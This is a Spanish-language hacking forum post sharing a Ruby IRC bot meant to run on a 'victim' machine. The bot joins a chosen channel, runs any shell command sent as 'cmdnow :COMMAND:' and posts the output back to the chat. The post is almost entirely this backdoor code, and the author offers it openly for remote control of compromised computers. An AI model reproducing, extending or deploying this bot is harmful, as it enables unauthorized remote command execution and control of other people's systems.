• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Ruby [Ruby] IRC Bot

Status
Not open for further replies.

Doddy

Leech
User
Joined
Apr 1, 2012
Messages
169
Reputation
0
Reaction score
406
Points
63
Credits
0
‎13 Years of Service‎
57%
Hola a todos

Acabo de hacer un simple bot para IRC , el bot se

conecta en la maquina ejecutante (victima) con un nombre

marcado por ustedes , entonces con solo poner

cmdnow :TU COMANDO:

Recibiran en el mismo chat un mensaje con el resultado del comando puesto

El codigo es el siguiente

Code:
>
#!usr/bin/ruby
#IRC Bot (C) Doddy Hackman 2011

host = "localhost"
canal = "#locos"
botname = "aa"

def head() 
print "\n\n == -- IRC BOT -- ==\n\n"
end

def uso() 
print "\n[+] Sintax : #{$0}   \n"
end

def copyright()
print "\n\n(C) Doddy Hackman 2011\n\n"
end

def load(host,canal,botname)
begin
irc = TCPSocket.open(host,6667)
rescue 
print "\n\n[-] Error\n\n"
else 
irc.print "NICK #{botname}\r\n"
irc.print "USER #{botname} 1 1 1 1\r\n"
irc.print "JOIN #{canal}\r\n"

print "\n\n[+] Online\n\n"

while 1 

code = irc.recv(666)	

if (code=~/PING (.*)/) 
irc.print "PONG #{$1}\n"
end

#if code=~/:(.*)!(.*):(.*)/
#print "Un tal : #{$1}\n"
#print "Dijo : #{$3}\n"
#end

if code=~/cmdnow :(.*):/
re = IO.popen($1).read
re = re.gsub("\n","|")
irc.print "PRIVMSG #locos : ",re,"\r\n"	
end
end
end
end

head()
load(host,canal,botname)
copyright()


# ¿ The End ?
 
Status
Not open for further replies.
Back
Top